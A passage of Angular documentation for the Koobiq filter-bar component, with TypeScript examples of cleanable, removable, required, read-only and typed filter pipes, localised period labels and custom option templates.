 * Requires `DateAdapter` (from a date module such as `LuxonDateModule`) and `DateFormatter`; a component
 * that scopes its own locale must scope both next to it, or the labels resolve in a different locale
 * than the rest of the bar.
 */
export const injectLocalizedPeriods = (): LocalizedPeriods => {
    const adapter = inject(DateAdapter);
    const formatter = inject(DateFormatter);
    const timeRange = kbqInjectLocaleConfiguration('timeRange', KBQ_TIME_RANGE_LOCALE_CONFIGURATION);

    // The active locale is the only thing a label depends on. `adapter.today()` reads the timezone
    // signal, which would otherwise rebuild every list — and every filter derived from it — on a
    // timezone change that cannot alter a single string. One reference instant per list also keeps
    // the whole list anchored to the same moment.
    const toValues = (periods: ExamplePeriod[]): ExamplePeriodValue[] => {
        const option = timeRange().durationTemplate.option;

        return untracked(() => {
            const end = adapter.today();

            return periods.map(({ unit, amount }) => {
                const start = { [unit]: amount };

                return {
                    name: formatter.duration(adapter.addCalendarUnits(end, start), end, [unit], false, option),
                    start,
                    end: null
                };
            });
        });
    };

    return {
        date: computed(() => toValues(DATE_PERIODS)),
        datetime: computed(() => toValues(DATETIME_PERIODS)),
        // The period list highlights the selected option by comparing names, and a period always renders
        // the same name, so building the value here matches the entry of the list it stands for.
        pick: (period) => toValues([period])[0]
    };
};

/**
 * Picks the entry matching the active locale, falling back to `default`.
 *
 * For text the examples own — a pipe's name, a label in the page around the bar — that has no
 * counterpart in the library's locale data. Only the locales the record lists are translated; every
 * other one gets `default`.
 */
export const injectLocalizedText = <T>(data: Record<string, T> & { default: T }): Signal<T> => {
    const localeService = kbqInjectLocaleService({ optional: true });

    return computed(() => data[localeService?.localeId() ?? 'default'] ?? data.default);
};
```

#### Operating modes

In the clear mode, filters remain on the panel after clicking the button with a cross, and in the delete mode, they disappear. Do not mix the two modes on one screen. If the buttons with the cross icon work differently for adjacent filters, this will confuse the user.

##### Cleaning

Use when the system has few filters or users often use several popular parameters. Filter buttons without selected values ​​are pre-showed on the screen, the filled filter is cleared by the cross, but the button itself does not disappear.

In the cleaning mode, you should not give the opportunity to add new filters from the menu, as this will conflict with the fact that the cross will either reset or delete the filter.

**Example: filter-bar-cleanable** (`filter-bar-cleanable`)

```ts filter-bar-cleanable-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqFilterBarModule, KbqPipe, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';

@Component({
    selector: 'filter-bar-cleanable-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates">
            @for (pipe of pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarCleanableExample {
    pipes: KbqPipe[] = [
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            value: { name: 'Option 1', id: '1' },

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            value: null,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,
            value: null,

            cleanable: true,
            removable: false,
            disabled: false
        }
    ];

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: false,
            disabled: false
        }
    ];
}
```

##### Removal

In this mode, the user has the option to hide the component if there are no values ​​selected in the filter. When filled, the button with a cross resets the filter values ​​and hides it.
Filters with the ability to delete are usually hidden in the menu to avoid cluttering the screen. The user will select the desired parameter from the drop-down list, and then the corresponding element will be added to the filter panel.

**Example: filter-bar-removable** (`filter-bar-removable`)

```ts filter-bar-removable-example.ts
import { ChangeDetectionStrategy, Component, computed } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { injectLocalizedPeriods } from '../localized-data';

@Component({
    selector: 'filter-bar-removable-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="activeFilter">
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />
        </kbq-filter-bar>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarRemovableExample {
    activeFilter: KbqFilter | null = {
        name: 'Select',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'Select',
                type: KbqPipeTypes.Select,
                value: { name: 'Option 1', id: '1' },

                cleanable: false,
                removable: true,
                disabled: false
            },
            {
                name: 'MultiSelect',
                type: KbqPipeTypes.MultiSelect,
                value: [],

                cleanable: false,
                removable: true,
                disabled: false
            }
        ]
    };

    /** Period labels follow the active locale, so the templates are rebuilt whenever it changes. */
    protected readonly periods = injectLocalizedPeriods();

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);
}
```

#### Required filter

A filter can be added to the filter panel regardless of the operating mode, which will always be filled and cannot be cleared. The user will only be able to change its value.

**Example: filter-bar-required** (`filter-bar-required`)

```ts filter-bar-required-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import { KbqFilter, KbqFilterBarModule, KbqPipe, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { injectLocalizedPeriods } from '../localized-data';

@Component({
    selector: 'filter-bar-required-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates()"
            [filter]="activeFilter()"
            (filterChange)="onFilterChange($event)"
        >
            @for (pipe of activeFilter()?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (activeFilter()?.name !== defaultFilter()?.name || activeFilter()?.changed) {
                <kbq-filter-reset (onResetFilter)="onReset()" />
            }
        </kbq-filter-bar>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarRequiredExample {
    /** Period labels follow the active locale, so everything built out of them is rebuilt with it. */
    protected readonly periods = injectLocalizedPeriods();

    // Both are derived from the period labels, so both are rebuilt whenever the locale changes:
    // `*kbqPipe` builds a pipe component once from the object it is given and ignores later changes to
    // that binding, so a relabelled period only reaches the screen as a new pipe object.
    readonly activeFilter = linkedSignal<KbqFilter | null>(() => this.getDefaultFilter());
    readonly defaultFilter = computed<KbqFilter | null>(() => this.getDefaultFilter());

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    onFilterChange(filter: KbqFilter | null) {
        // KbqFilterBar flips `changed` to true on any pipe edit but never back to false.
        // Re-derive it by diffing the pipes against the default state, so reverting the pipes
        // also clears `changed` and hides <kbq-filter-reset>.
        const defaultFilter = this.defaultFilter();

        this.activeFilter.set(
            filter && defaultFilter && this.arePipesEqual(filter.pipes, defaultFilter.pipes)
                ? { ...filter, changed: false }
                : filter
        );
    }

    onReset() {
        this.activeFilter.set(this.getDefaultFilter(true));
    }

    /** Whether two pipe lists are equivalent (same name/type/value) — detects a return to the initial state. */
    arePipesEqual(a: KbqPipe[], b: KbqPipe[]): boolean {
        const serialize = (pipes: KbqPipe[]): string =>
            JSON.stringify(pipes.map(({ name, type, value }) => ({ name, type, value })));

        return serialize(a) === serialize(b);
    }

    /**
     * `openOnReset` is only for the filter the reset itself builds: the bar's reset stream stays latched
     * at `true`, so a pipe re-created for any other reason — a locale change, say — would replay it and
     * pop its panel open unprompted.
     */
    getDefaultFilter(openOnReset = false): KbqFilter {
        return {
            name: 'Select',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Datetime',
                    type: KbqPipeTypes.Datetime,
                    value: this.periods.pick({ unit: 'hours', amount: -24 }),

                    cleanable: false,
                    removable: false,
                    disabled: false,
                    openOnReset
                }
            ]
        };
    }
}
```

#### Unchangeable filters

The filter value cannot be changed, the filter can only be deleted.

**Example: filter-bar-readonly-pipe** (`filter-bar-readonly-pipe`)

```ts filter-bar-readonly-pipe-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTypes } from '@koobiq/components/filter-bar';

@Component({
    selector: 'filter-bar-readonly-pipe-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [(filter)]="activeFilter">
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarReadonlyPipeExample {
    activeFilter: KbqFilter | null = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'Filter',
                value: 'Value',
                type: KbqPipeTypes.ReadOnly,

                cleanable: false,
                removable: true,
                disabled: false
            }
        ]
    };
}
```

Clicking on a pseudo-link in the list of parameters will add a new value to the filter. If the filter is not in the menu or in the panel: then an inactive element will be added, the value of which cannot be changed, it can only be deleted.

**Example: filter-bar-readonly-pipes** (`filter-bar-readonly-pipes`)

```ts filter-bar-readonly-pipes-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqFilter, KbqFilterBarModule, KbqPipe, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { KbqLink } from '@koobiq/components/link';
import { injectLocalizedPeriods, injectLocalizedText } from '../localized-data';

/** Text search is the first pipe in every filter: always present, never removable. */
const createSearchPipe = (name: string): KbqPipe => ({
    name,
    type: KbqPipeTypes.Input,
    value: null,

    cleanable: true,
    removable: false,
    disabled: false
});

@Component({
    selector: 'filter-bar-readonly-pipes-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqLink
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="activeFilter">
            @for (pipe of activeFilter().pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (filterHasChanges()) {
                <kbq-filter-reset (onResetFilter)="onResetFilter()" />
            }
        </kbq-filter-bar>

        <br />

        <kbq-dl [verticalBreakpoint]="590">
            <kbq-dt>{{ text().user }}</kbq-dt>
            <kbq-dd><span kbqLink (click)="setUser(text().user, 'rturov')">rturov</span></kbq-dd>

            @for (item of text().readonlyPipes; track item) {
                <kbq-dt>{{ item.name }}</kbq-dt>
                <kbq-dd>
                    <span kbqLink (click)="addPipe(item.name, item.value)">{{ item.value }}</span>
                </kbq-dd>
            }
        </kbq-dl>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarReadonlyPipesExample {
    /** Text the example owns: it has no counterpart in the library's locale data. */
    protected readonly text = injectLocalizedText({
        'ru-RU': {
            search: 'Поиск',
            user: 'Пользователь',
            readonlyPipes: [
                { name: 'Домен', value: 'Управление системой' },
                { name: 'Тип объекта', value: 'PaxMatrol IEMS' },
                { name: 'Действие', value: 'Изменение' },
                { name: 'Объект', value: 'Resolver' }
            ]
        },
        default: {
            search: 'Search',
            user: 'User',
            readonlyPipes: [
                { name: 'Domain', value: 'System management' },
                { name: 'Object type', value: 'PaxMatrol IEMS' },
                { name: 'Action', value: 'Modification' },
                { name: 'Object', value: 'Resolver' }
            ]
        }
    });

    /** Period labels follow the active locale, so everything built out of them is rebuilt with it. */
    protected readonly periods = injectLocalizedPeriods();

    // Rebuilt whenever the locale changes: `*kbqPipe` builds a pipe component once from the object it is
    // given and ignores later changes to that binding, so relabelled pipes only reach the screen as new
    // objects.
    readonly activeFilter = linkedSignal(() => this.getDefaultFilter());

    private readonly defaultFilter = computed(() => this.getDefaultFilter());

    /** `addPipe` only ever appends, so the default pipes stay index-aligned at the front. */
    protected readonly filterHasChanges = computed(() => {
        const defaultPipes = this.defaultFilter().pipes;
        const pipes = this.activeFilter().pipes;

        return (
            pipes.length > defaultPipes.length || pipes.some((pipe, index) => pipe.value !== defaultPipes[index].value)
        );
    });

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    onResetFilter() {
        console.log('onResetFilter: ');
        this.activeFilter.set(this.getDefaultFilter());
    }

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                createSearchPipe(this.text().search),
                {
                    name: this.text().user,
                    value: null,
                    type: KbqPipeTypes.ReadOnly,

                    cleanable: true,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }

    setUser(name: string, value: string) {
        this.activeFilter.update((filter) =>
            filter.pipes.some((pipe) => pipe.name === name)
                ? {
                      ...filter,
                      changed: true,
                      pipes: filter.pipes.map((pipe) => (pipe.name === name ? { ...pipe, value } : pipe))
                  }
                : filter
        );
    }

    addPipe(name: string, value: string) {
        this.activeFilter.update((filter) =>
            filter.pipes.some((pipe) => pipe.name === name)
                ? filter
                : {
                      ...filter,
                      changed: true,
                      pipes: [
                          ...filter.pipes,
                          {
                              name,
                              value,
                              type: KbqPipeTypes.ReadOnly,

                              cleanable: false,
                              removable: true,
                              disabled: false
                          }
                      ]
                  }
        );
    }
}
```

#### Filter types

**Example: filter-bar-pipe-types** (`filter-bar-pipe-types`)

```ts filter-bar-pipe-types-example.ts
import { ChangeDetectionStrategy, Component, computed } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import {
    kbqBuildTree,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';
import { injectLocalizedPeriods } from '../localized-data';

const DATA_OBJECT = {
    'No roles': 'value 0',
    'Management and Configuration': {
        Administrator: { value: 'value 1' },
        Operator: 'value 2',
        User: 'value 3'
    },
    'MP 10': {
        Administrator: 'value 4',
        Operator: 'value 5',
        User: 'value 6'
    },
    'Knowledge Base': {
        Administrator: 'value 7',
        Operator: 'value 8',
        User: 'value 9'
    }
};

@Component({
    selector: 'filter-bar-pipe-types-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates()"
            [(filter)]="activeFilter"
            (onChangePipe)="onChangePipe($event)"
        >
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            @if (isFilterChanged) {
                <kbq-filter-reset (onResetFilter)="onResetFilter()" />
            }
        </kbq-filter-bar>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarPipeTypesExample {
    activeFilter: KbqFilter | null = this.getDefaultFilter();

    /** Period labels follow the active locale, so the templates are rebuilt whenever it changes. */
    protected readonly periods = injectLocalizedPeriods();

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', value: 'value1' },
                { name: 'Option 2', value: 'value2' },
                { name: 'Option 3', value: 'value3' },
                { name: 'Option 4', value: 'value4' },
                { name: 'Option 5', value: 'value5' },
                { name: 'Option 6', value: 'value6' },
                { name: 'Option 7', value: 'value7' }
            ],
            // Same rationale as the Select template below: options are identified by `value` rather than
            // a synthetic `id`, so a custom `compareWith` is needed instead of the default id-based one.
            compareWith: (o1, o2) => !!o1 && !!o2 && o1.value === o2.value,
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', value: 'value1' },
                { name: 'Option 2', value: 'value2' },
                { name: 'Option 3', value: 'value3' },
                { name: 'Option 4', value: 'value4' },
                { name: 'Option 5', value: 'value5' },
                { name: 'Option 6', value: 'value6' },
                { name: 'Option 7', value: 'value7' }
            ],
            // Options are identified by their business `value` rather than a synthetic `id`. Override
            // `compareWith` whenever a selected value can be a distinct object equal only by that key
            // (e.g. one restored from a saved filter) instead of the same reference. A custom comparator
            // is responsible for its own null handling — unlike the default, which never matches null.
            compareWith: (o1, o2) => !!o1 && !!o2 && o1.value === o2.value,
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'TreeSelect',
            type: KbqPipeTypes.TreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiTreeSelect',
            type: KbqPipeTypes.MultiTreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),

            cleanable: false,
            removable: false,
            disabled: false
        }
    ]);

    get isFilterChanged(): boolean {
        return JSON.stringify(this.activeFilter?.pipes ?? []) !== JSON.stringify(this.getDefaultFilter().pipes);
    }

    onResetFilter() {
        console.log('onResetFilter: ');
        this.activeFilter = this.getDefaultFilter();
    }

    onChangePipe($event) {
        console.log('onChangePipe: ', $event);
    }

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Input',
                    type: KbqPipeTypes.Input,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Select',
                    type: KbqPipeTypes.Select,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'MultiSelect',
                    type: KbqPipeTypes.MultiSelect,
                    value: [],

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'TreeSelect',
                    type: KbqPipeTypes.TreeSelect,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'TreeSelect Multiple',
                    id: 'MultiTreeSelect',
                    type: KbqPipeTypes.MultiTreeSelect,
                    value: [],

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Text',
                    type: KbqPipeTypes.Text,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Date',
                    type: KbqPipeTypes.Date,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Datetime',
                    type: KbqPipeTypes.Datetime,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }
}
```

For the `select` and `multiselect` types, the pipe template accepts an optional `compareWith` — a comparator forwarded to the underlying select that controls how the selected value is matched against the option list. Override it when options are compared by a business key, or when the selected value is a distinct object (e.g. restored from a saved filter) rather than the same reference. When omitted, options are matched by their `id`. A custom comparator is responsible for its own null handling — unlike the default, which never matches a `null`/`undefined` value.

The `input` type is the only one without a popover: it renders a bare input that is typed into directly in the bar, using the pipe's `name` as its placeholder. The value is applied as you type — 200 ms after the last keystroke (`debounceTime`) and only from `minLength` characters on, 1 by default — rather than through an Apply button. Text shorter than the threshold, including an emptied field, is applied as `null`, so the bar never keeps filtering by text that is no longer in the input. `Enter` and blur apply the value immediately and ignore the threshold: an explicit action is always applied as typed. Its only clear affordance is the built-in cleaner inside the input, so `removable` has no effect — an `input` pipe can only be removed programmatically. Values are trimmed, and a blank value is applied as `null`. Set its width with the `--kbq-filter-bar-pipe-input-width` CSS variable.

#### Custom option content

For `select`, `multiselect`, `tree-select` and `multi-tree-select`, set `valueTemplate` to customize option content. Flat pipes pass the source value as `option`; tree pipes pass the source node as `option` and the current query as `search`. Use them to render icons, multiline text, counters or other Angular content.

Filtering still uses only `name`. Tree templates highlight matches themselves, typically with `kbqHighlightBackground` applied to `option.name` and the `search` context value; the flat pipes' context has no query. Select-all, selected values and the text-only trigger keep their standard behavior. Set `multilineOptions` to wrap long names instead of truncating them; this option works independently of `valueTemplate`. Multiline rows are taller than 32px, so fewer of them fit under `panelMaxHeight`.

**Example: filter-bar-value-template** (`filter-bar-value-template`)

```ts filter-bar-value-template-example.ts
import { ChangeDetectionStrategy, Component, computed, TemplateRef, viewChild } from '@angular/core';
import { KbqHighlightModule } from '@koobiq/components/core';
import {
    KbqFilter,
    KbqFilterBarModule,
    KbqMultiTreeSelectValueTemplateContext,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSelectValue,
    KbqTreeSelectNode
} from '@koobiq/components/filter-bar';
import { KbqIcon } from '@koobiq/components/icon';
import { injectLocalizedText } from '../localized-data';

interface AgentStateNode extends Omit<KbqTreeSelectNode, 'children'> {
    children: AgentStateNode[] | null;
    icon?: string;
    color?: 'success' | 'error' | 'warning';
    count?: number;
}

interface AgentStateValue extends KbqSelectValue {
    icon?: string;
    color?: 'success' | 'error' | 'warning';
    count?: number;
}

@Component({
    selector: 'filter-bar-value-template-example',
    imports: [KbqFilterBarModule, KbqHighlightModule, KbqIcon],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="activeFilter">
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>

        <ng-template #optionTemplate let-option="option" let-search="search">
            <div class="example-tree-node">
                @if (option.icon) {
                    <i
                        class="example-tree-node__icon"
                        aria-hidden="true"
                        [kbq-icon]="option.icon"
                        [color]="option.color"
                    ></i>
                }
                <span class="example-tree-node__name" [innerHTML]="option.name | kbqHighlightBackground: search"></span>
                @if (option.count !== undefined) {
                    <span class="example-tree-node__count">{{ option.count }}</span>
                }
            </div>
        </ng-template>

        <ng-template #flatOptionTemplate let-option="option">
            <div class="example-tree-node">
                @if (option.icon) {
                    <i
                        class="example-tree-node__icon"
                        aria-hidden="true"
                        [kbq-icon]="option.icon"
                        [color]="option.color"
                    ></i>
                }
                <span class="example-tree-node__name">{{ option.name }}</span>
                @if (option.count !== undefined) {
                    <span class="example-tree-node__count">{{ option.count }}</span>
                }
            </div>
        </ng-template>
    `,
    styleUrls: ['filter-bar-value-template-example.scss'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarValueTemplateExample {
    private readonly text = injectLocalizedText({
        'ru-RU': {
            installed: 'Установлен',
            error: 'Ошибка',
            incompatible: 'Операционная система активного узла несовместима с текущей версией агента',
            unknown: 'Ошибки неопределенного характера'
        },
        default: {
            installed: 'Installed',
            error: 'Error',
            incompatible: 'The active node operating system is incompatible with the current agent version',
            unknown: 'Unspecified errors'
        }
    });

    private readonly values = computed<AgentStateNode[]>(() => {
        const text = this.text();

        return [
            {
                name: text.installed,
                value: 'installed',
                icon: 'kbq-check_16',
                color: 'success',
                children: [
                    { name: '4.3.0.269', value: '4.3.0.269', count: 0, children: null },
                    { name: '5.0.0.0', value: '5.0.0.0', count: 210, children: null }
                ]
            },
            {
                name: text.error,
                value: 'error',
                icon: 'kbq-triangle-exclamation_16',
                color: 'error',
                children: [
                    { name: text.incompatible, value: 'incompatible-os', count: 789, children: null },
                    { name: text.unknown, value: 'unknown-error', count: 12345, children: null }
                ]
            }
        ];
    });

    private readonly flatValues = computed<AgentStateValue[]>(() => {
        const text = this.text();

        return [
            { name: '4.3.0.269', value: '4.3.0.269', icon: 'kbq-check_16', color: 'success', count: 0 },
            { name: '5.0.0.0', value: '5.0.0.0', icon: 'kbq-check_16', color: 'success', count: 210 },
            {
                name: text.incompatible,
                value: 'incompatible-os',
                icon: 'kbq-triangle-exclamation_16',
                color: 'error',
                count: 789
            },
            {
                name: text.unknown,
                value: 'unknown-error',
                icon: 'kbq-triangle-exclamation_16',
                color: 'error',
                count: 12345
            }
        ];
    });

    readonly optionTemplate =
        viewChild<TemplateRef<KbqMultiTreeSelectValueTemplateContext<AgentStateNode>>>('optionTemplate');

    readonly flatOptionTemplate = viewChild<TemplateRef<any>>('flatOptionTemplate');

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Select',
            id: 'Select',
            type: KbqPipeTypes.Select,
            values: this.flatValues(),
            valueTemplate: this.flatOptionTemplate(),
            search: true,

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Multi select',
            id: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: this.flatValues(),
            valueTemplate: this.flatOptionTemplate(),
            search: true,

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Tree',
            id: 'Tree',
            type: KbqPipeTypes.TreeSelect,
            values: this.values(),
            valueTemplate: this.optionTemplate(),
            search: true,
            multilineOptions: true,

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Multi tree',
            id: 'MultiTree',
            type: KbqPipeTypes.MultiTreeSelect,
            values: this.values(),
            valueTemplate: this.optionTemplate(),
            search: true,
            panelMaxHeight: 480,
            multilineOptions: true,

            cleanable: false,
            removable: false,
            disabled: false
        }
    ]);

    activeFilter: KbqFilter = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'Select',
                id: 'Select',
                type: KbqPipeTypes.Select,
                value: null,
                search: true,

                cleanable: false,
